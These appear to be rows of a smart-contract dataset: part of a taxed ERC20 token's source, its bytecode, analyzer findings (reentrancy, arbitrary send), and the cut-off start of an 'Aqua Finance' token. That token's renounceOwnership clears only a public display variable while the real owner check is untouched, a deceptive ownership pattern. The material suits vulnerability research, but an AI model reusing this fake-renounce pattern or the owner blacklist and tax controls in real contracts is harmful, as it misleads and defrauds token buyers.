_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0 && _burnFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_previousburnFee = _burnFee;
_redisFee = 0;
_taxFee = 0;
_burnFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
_burnFee = _previousburnFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0));
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isSniper[to], 'Stop sniping!');
require(!_isSniper[from], 'Stop sniping!');
require(!_isSniper[_msgSender()], 'Stop sniping!');
if (from != owner() && to != owner()) {
if (!tradingOpen) {
revert("Trading not yet enabled!");
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
if (to != address(this) && from != address(this) && to != _marketingAddress && from != _marketingAddress) {
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
}
}
if (to != uniswapV2Pair && to != _marketingAddress && to != address(this) && to != deadAddress) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
if (isMaxBuyActivated) {
if (block.timestamp <= launchTime + 30 minutes) {
require(amount <= _minimumBuyAmount);
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance > _swapTokensAtAmount;
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
uint256 burntAmount = 0;
if (_burnFee > 0) {
burntAmount = contractTokenBalance.mul(_burnFee).div(10**2);
burnTokens(burntAmount);
}
swapTokensForEth(contractTokenBalance - burntAmount);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_buyMap[to] = block.timestamp;
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
if (block.timestamp == launchTime) {
_isSniper[to] = true;
}
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
if (_buyMap[from] != 0 && (_buyMap[from] + timeJeets >= block.timestamp)) {
_redisFee = _redisFeeJeets;
_taxFee = _taxFeeJeets;
} else {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function burnTokens(uint256 burntAmount) private {
_transfer(address(this), deadAddress, burntAmount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading() public onlyOwner {
require(!tradingOpen);
tradingOpen = true;
launchTime = block.timestamp;
}
function setMarketingWallet(address marketingAddress) external {
require(_msgSender() == _marketingAddress);
_marketingAddress = payable(marketingAddress);
_isExcludedFromFee[_marketingAddress] = true;
}
function setIsMaxBuyActivated(bool _isMaxBuyActivated) public onlyOwner {
isMaxBuyActivated = _isMaxBuyActivated;
}
function manualswap(uint256 amount) external {
require(_msgSender() == _marketingAddress);
require(amount <= balanceOf(address(this)) && amount > 0, "Wrong amount");
swapTokensForEth(amount);
}
function addSniper(address[] memory snipers) external onlyOwner {
for(uint256 i= 0; i< snipers.length; i++){
_isSniper[snipers[i]] = true;
}
}
function removeSniper(address sniper) external onlyOwner {
if (_isSniper[sniper]) {
_isSniper[sniper] = false;
}
}
function isSniper(address sniper) external view returns (bool){
return _isSniper[sniper];
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner {
require(maxTxAmount >= 5e7 * 10**9);
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) external onlyOwner {
require(maxWalletSize >= _maxWalletSize);
_maxWalletSize = maxWalletSize;
}
function setTaxFee(uint256 amountBuy, uint256 amountSell) external onlyOwner {
require(amountBuy >= 0 && amountBuy <= 13);
require(amountSell >= 0 && amountSell <= 13);
_taxFeeOnBuy = amountBuy;
_taxFeeOnSell = amountSell;
}
function setRefFee(uint256 amountRefBuy, uint256 amountRefSell) external onlyOwner {
require(amountRefBuy >= 0 && amountRefBuy <= 1);
require(amountRefSell >= 0 && amountRefSell <= 1);
_redisFeeOnBuy = amountRefBuy;
_redisFeeOnSell = amountRefSell;
}
function setBurnFee(uint256 amount) external onlyOwner {
require(amount >= 0 && amount <= 1);
_burnFee = amount;
}
function setJeetsFee(uint256 amountRedisJeets, uint256 amountTaxJeets) external onlyOwner {
require(amountRedisJeets >= 0 && amountRedisJeets <= 1);
require(amountTaxJeets >= 0 && amountTaxJeets <= 19);
_redisFeeJeets = amountRedisJeets;
_taxFeeJeets = amountTaxJeets;
}
function setTimeJeets(uint256 hoursTime) external onlyOwner {
require(hoursTime >= 0 && hoursTime <= 4);
timeJeets = hoursTime * 1 hours;
}
}
|
0x6080604052600436106102295760003560e01c8063715018a6116101235780639e78fb4f116100ab578063dd62ed3e1161006f578063dd62ed3e14610664578063e0f9f6a0146106aa578063ea1644d5146106ca578063f2fde38b146106ea578063fe72c3c11461070a57600080fd5b80639e78fb4f146105cf5780639ec350ed146105e45780639f13157114610604578063a9059cbb14610624578063c55284901461064457600080fd5b80637d1db4a5116100f25780637d1db4a514610534578063881dce601461054a5780638da5cb5b1461056a5780638f9a55c01461058857806395d89b411461059e57600080fd5b8063715018a6146104d457806374010ece146104e9578063790ca413146105095780637c519ffb1461051f57600080fd5b8063313ce567116101b15780635d098b38116101755780635d098b38146104495780636b9cf534146104695780636d8aa8f81461047f5780636fc3eaec1461049f57806370a08231146104b457600080fd5b8063313ce567146103ad57806333251a0b146103c957806338eea22d146103e957806349bd5a5e146104095780634bf2c7c91461042957600080fd5b806318160ddd116101f857806318160ddd1461031a57806323b872dd1461033f57806327c8f8351461035f57806328bb665a146103755780632fd689e31461039757600080fd5b806306fdde0314610235578063095ea7b3146102795780630f3a325f146102a95780631694505e146102e257600080fd5b3661023057005b600080fd5b34801561024157600080fd5b5060408051808201909152600981526844656c74612050617960b81b60208201525b6040516102709190611ee9565b60405180910390f35b34801561028557600080fd5b50610299610294366004611f63565b610720565b6040519015158152602001610270565b3480156102b557600080fd5b506102996102c4366004611f8f565b6001600160a01b031660009081526009602052604090205460ff1690565b3480156102ee57600080fd5b50601954610302906001600160a01b031681565b6040516001600160a01b039091168152602001610270565b34801561032657600080fd5b50678ac7230489e800005b604051908152602001610270565b34801561034b57600080fd5b5061029961035a366004611fac565b610737565b34801561036b57600080fd5b5061030261dead81565b34801561038157600080fd5b50610395610390366004612003565b6107a0565b005b3480156103a357600080fd5b50610331601d5481565b3480156103b957600080fd5b5060405160098152602001610270565b3480156103d557600080fd5b506103956103e4366004611f8f565b61083f565b3480156103f557600080fd5b506103956104043660046120c8565b6108ae565b34801561041557600080fd5b50601a54610302906001600160a01b031681565b34801561043557600080fd5b506103956104443660046120ea565b6108ff565b34801561045557600080fd5b50610395610464366004611f8f565b61093c565b34801561047557600080fd5b50610331601e5481565b34801561048b57600080fd5b5061039561049a366004612103565b610996565b3480156104ab57600080fd5b506103956109de565b3480156104c057600080fd5b506103316104cf366004611f8f565b610a08565b3480156104e057600080fd5b50610395610a2a565b3480156104f557600080fd5b506103956105043660046120ea565b610a9e565b34801561051557600080fd5b50610331600a5481565b34801561052b57600080fd5b50610395610ae1565b34801561054057600080fd5b50610331601b5481565b34801561055657600080fd5b506103956105653660046120ea565b610b3b565b34801561057657600080fd5b506000546001600160a01b0316610302565b34801561059457600080fd5b50610331601c5481565b3480156105aa57600080fd5b5060408051808201909152600881526744656c746150617960c01b6020820152610263565b3480156105db57600080fd5b50610395610bb7565b3480156105f057600080fd5b506103956105ff3660046120c8565b610d6f565b34801561061057600080fd5b5061039561061f366004612103565b610dc0565b34801561063057600080fd5b5061029961063f366004611f63565b610e08565b34801561065057600080fd5b5061039561065f3660046120c8565b610e15565b34801561067057600080fd5b5061033161067f366004612125565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b3480156106b657600080fd5b506103956106c53660046120ea565b610e66565b3480156106d657600080fd5b506103956106e53660046120ea565b610eb0565b3480156106f657600080fd5b50610395610705366004611f8f565b610eee565b34801561071657600080fd5b5061033160185481565b600061072d338484610fd8565b5060015b92915050565b60006107448484846110fc565b610796843361079185604051806060016040528060288152602001612300602891396001600160a01b038a166000908152600560209081526040808320338452909152902054919061179d565b610fd8565b5060019392505050565b6000546001600160a01b031633146107d35760405162461bcd60e51b81526004016107ca9061215e565b60405180910390fd5b60005b815181101561083b576001600960008484815181106107f7576107f7612193565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610833816121bf565b9150506107d6565b5050565b6000546001600160a01b031633146108695760405162461bcd60e51b81526004016107ca9061215e565b6001600160a01b03811660009081526009602052604090205460ff16156108ab576001600160a01b0381166000908152600960205260409020805460ff191690555b50565b6000546001600160a01b031633146108d85760405162461bcd60e51b81526004016107ca9061215e565b60018211156108e657600080fd5b60018111156108f457600080fd5b600d91909155600f55565b6000546001600160a01b031633146109295760405162461bcd60e51b81526004016107ca9061215e565b600181111561093757600080fd5b601355565b6017546001600160a01b0316336001600160a01b03161461095c57600080fd5b601780546001600160a01b039092166001600160a01b0319909216821790556000908152600660205260409020805460ff19166001179055565b6000546001600160a01b031633146109c05760405162461bcd60e51b81526004016107ca9061215e565b601a8054911515600160b01b0260ff60b01b19909216919091179055565b6017546001600160a01b0316336001600160a01b0316146109fe57600080fd5b476108ab816117d7565b6001600160a01b03811660009081526002602052604081205461073190611811565b6000546001600160a01b03163314610a545760405162461bcd60e51b81526004016107ca9061215e565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610ac85760405162461bcd60e51b81526004016107ca9061215e565b66b1a2bc2ec50000811015610adc57600080fd5b601b55565b6000546001600160a01b03163314610b0b5760405162461bcd60e51b81526004016107ca9061215e565b601a54600160a01b900460ff1615610b2257600080fd5b601a805460ff60a01b1916600160a01b17905542600a55565b6017546001600160a01b0316336001600160a01b031614610b5b57600080fd5b610b6430610a08565b8111158015610b735750600081115b610bae5760405162461bcd60e51b815260206004820152600c60248201526b15dc9bdb99c8185b5bdd5b9d60a21b60448201526064016107ca565b6108ab81611895565b6000546001600160a01b03163314610be15760405162461bcd60e51b81526004016107ca9061215e565b601980546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa158015610c46573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c6a91906121da565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610cb7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cdb91906121da565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610d28573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d4c91906121da565b601a80546001600160a01b0319166001600160a01b039290921691909117905550565b6000546001600160a01b03163314610d995760405162461bcd60e51b81526004016107ca9061215e565b6001821115610da757600080fd5b6013811115610db557600080fd5b600b91909155600c55565b6000546001600160a01b03163314610dea5760405162461bcd60e51b81526004016107ca9061215e565b601a8054911515600160b81b0260ff60b81b19909216919091179055565b600061072d3384846110fc565b6000546001600160a01b03163314610e3f5760405162461bcd60e51b81526004016107ca9061215e565b600d821115610e4d57600080fd5b600d811115610e5b57600080fd5b600e91909155601055565b6000546001600160a01b03163314610e905760405162461bcd60e51b81526004016107ca9061215e565b6004811115610e9e57600080fd5b610eaa81610e106121f7565b60185550565b6000546001600160a01b03163314610eda5760405162461bcd60e51b81526004016107ca9061215e565b601c54811015610ee957600080fd5b601c55565b6000546001600160a01b03163314610f185760405162461bcd60e51b81526004016107ca9061215e565b6001600160a01b038116610f7d5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016107ca565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03831661103a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016107ca565b6001600160a01b03821661109b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016107ca565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661110f57600080fd5b6001600160a01b0382166111715760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016107ca565b600081116111d35760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016107ca565b6001600160a01b03821660009081526009602052604090205460ff161561120c5760405162461bcd60e51b81526004016107ca90612216565b6001600160a01b03831660009081526009602052604090205460ff16156112455760405162461bcd60e51b81526004016107ca90612216565b3360009081526009602052604090205460ff16156112755760405162461bcd60e51b81526004016107ca90612216565b6000546001600160a01b038481169116148015906112a157506000546001600160a01b03838116911614155b156115e557601a54600160a01b900460ff166112ff5760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c656421000000000000000060448201526064016107ca565b601a546001600160a01b03838116911614801561132a57506019546001600160a01b03848116911614155b156113dc576001600160a01b038216301480159061135157506001600160a01b0383163014155b801561136b57506017546001600160a01b03838116911614155b801561138557506017546001600160a01b03848116911614155b156113dc57601b548111156113dc5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016107ca565b601a546001600160a01b0383811691161480159061140857506017546001600160a01b03838116911614155b801561141d57506001600160a01b0382163014155b801561143457506001600160a01b03821661dead14155b156114df57601c548161144684610a08565b611450919061223d565b106114a95760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016107ca565b601a54600160b81b900460ff16156114df57600a546114ca9061070861223d565b42116114df57601e548111156114df57600080fd5b60006114ea30610a08565b601d5490915081118080156115095750601a54600160a81b900460ff16155b80156115235750601a546001600160a01b03868116911614155b80156115385750601a54600160b01b900460ff165b801561155d57506001600160a01b03851660009081526006602052604090205460ff16155b801561158257506001600160a01b03841660009081526006602052604090205460ff16155b156115e257601354600090156115bd576115b260646115ac60135486611a0f90919063ffffffff16565b90611a8e565b90506115bd81611ad0565b6115cf6115ca8285612255565b611895565b4780156115df576115df476117d7565b50505b50505b6001600160a01b03831660009081526006602052604090205460019060ff168061162757506001600160a01b03831660009081526006602052604090205460ff165b806116595750601a546001600160a01b038581169116148015906116595750601a546001600160a01b03848116911614155b156116665750600061178b565b601a546001600160a01b03858116911614801561169157506019546001600160a01b03848116911614155b156116ec576001600160a01b03831660009081526004602052604090204290819055600d54601155600e54601255600a5414156116ec576001600160a01b0383166000908152600960205260409020805460ff191660011790555b601a546001600160a01b03848116911614801561171757506019546001600160a01b03858116911614155b1561178b576001600160a01b0384166000908152600460205260409020541580159061176857506018546001600160a01b03851660009081526004602052604090205442916117659161223d565b10155b1561177e57600b54601155600c5460125561178b565b600f546011556010546012555b61179784848484611add565b50505050565b600081848411156117c15760405162461bcd60e51b81526004016107ca9190611ee9565b5060006117ce8486612255565b95945050505050565b6017546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561083b573d6000803e3d6000fd5b60006007548211156118785760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016107ca565b6000611882611b11565b905061188e8382611a8e565b9392505050565b601a805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106118dd576118dd612193565b6001600160a01b03928316602091820292909201810191909152601954604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611936573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061195a91906121da565b8160018151811061196d5761196d612193565b6001600160a01b0392831660209182029290920101526019546119939130911684610fd8565b60195460405163791ac94760e01b81526001600160a01b039091169063791ac947906119cc90859060009086903090429060040161226c565b600060405180830381600087803b1580156119e657600080fd5b505af11580156119fa573d6000803e3d6000fd5b5050601a805460ff60a81b1916905550505050565b600082611a1e57506000610731565b6000611a2a83856121f7565b905082611a3785836122dd565b1461188e5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016107ca565b600061188e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611b34565b6108ab3061dead836110fc565b80611aea57611aea611b62565b611af5848484611ba7565b8061179757611797601454601155601554601255601654601355565b6000806000611b1e611c9e565b9092509050611b2d8282611a8e565b9250505090565b60008183611b555760405162461bcd60e51b81526004016107ca9190611ee9565b5060006117ce84866122dd565b601154158015611b725750601254155b8015611b7e5750601354155b15611b8557565b6011805460145560128054601555601380546016556000928390559082905555565b600080600080600080611bb987611cde565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611beb9087611d3b565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611c1a9086611d7d565b6001600160a01b038916600090815260026020526040902055611c3c81611ddc565b611c468483611e26565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611c8b91815260200190565b60405180910390a3505050505050505050565b6007546000908190678ac7230489e80000611cb98282611a8e565b821015611cd557505060075492678ac7230489e8000092509050565b90939092509050565b6000806000806000806000806000611cfb8a601154601254611e4a565b9250925092506000611d0b611b11565b90506000806000611d1e8e878787611e99565b919e509c509a509598509396509194505050505091939550919395565b600061188e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061179d565b600080611d8a838561223d565b90508381101561188e5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016107ca565b6000611de6611b11565b90506000611df48383611a0f565b30600090815260026020526040902054909150611e119082611d7d565b30600090815260026020526040902055505050565b600754611e339083611d3b565b600755600854611e439082611d7d565b6008555050565b6000808080611e5e60646115ac8989611a0f565b90506000611e7160646115ac8a89611a0f565b90506000611e8982611e838b86611d3b565b90611d3b565b9992985090965090945050505050565b6000808080611ea88886611a0f565b90506000611eb68887611a0f565b90506000611ec48888611a0f565b90506000611ed682611e838686611d3b565b939b939a50919850919650505050505050565b600060208083528351808285015260005b81811015611f1657858101830151858201604001528201611efa565b81811115611f28576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146108ab57600080fd5b8035611f5e81611f3e565b919050565b60008060408385031215611f7657600080fd5b8235611f8181611f3e565b946020939093013593505050565b600060208284031215611fa157600080fd5b813561188e81611f3e565b600080600060608486031215611fc157600080fd5b8335611fcc81611f3e565b92506020840135611fdc81611f3e565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561201657600080fd5b823567ffffffffffffffff8082111561202e57600080fd5b818501915085601f83011261204257600080fd5b81358181111561205457612054611fed565b8060051b604051601f19603f8301168101818110858211171561207957612079611fed565b60405291825284820192508381018501918883111561209757600080fd5b938501935b828510156120bc576120ad85611f53565b8452938501939285019261209c565b98975050505050505050565b600080604083850312156120db57600080fd5b50508035926020909101359150565b6000602082840312156120fc57600080fd5b5035919050565b60006020828403121561211557600080fd5b8135801515811461188e57600080fd5b6000806040838503121561213857600080fd5b823561214381611f3e565b9150602083013561215381611f3e565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006000198214156121d3576121d36121a9565b5060010190565b6000602082840312156121ec57600080fd5b815161188e81611f3e565b6000816000190483118215151615612211576122116121a9565b500290565b6020808252600d908201526c53746f7020736e6970696e672160981b604082015260600190565b60008219821115612250576122506121a9565b500190565b600082821015612267576122676121a9565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156122bc5784516001600160a01b031683529383019391830191600101612297565b50506001600160a01b03969096166060850152505050608001529392505050565b6000826122fa57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b8a49ac5c1b9ca983f4c7a8ab42a15675aea6b83e8529f246d76a51945edb57464736f6c634300080a0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,238 |
0x6056de0cb95e252fa7d239c7ae179afbb8c4e91b
|
/**
*Submitted for verification at Etherscan.io on 2021-08-09
*/
/*
AQUA FINANCE
https://aquafinance.investments
🦐 Aqua Finance (or $AQUA) is a community-driven, group of believers, and fair launch DeFi token to promote equality within the community with our sea friends!
🦦 The purpose of the project is for charity as we would like to help people and aqua life! Simply hold and receive passive income! This will be beneficial for the token holders.
🧑🌾 A farming/staking smart contract is currently in progress and awaiting audit!
💸 🚀 A fair, silent launch will be held with the intention of avoiding whales pumping and dumping the project.
🗝 We have locked liquidity for six months to show the community that we are dedicated to the project
@aquafinanceofficial
**/
pragma solidity ^0.6.5;
// SPDX-License-Identifier: MIT
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _call() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address public Owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address call = _call();
_owner = call;
Owner = call;
emit OwnershipTransferred(address(0), call);
}
modifier onlyOwner() {
require(_owner == _call(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
Owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
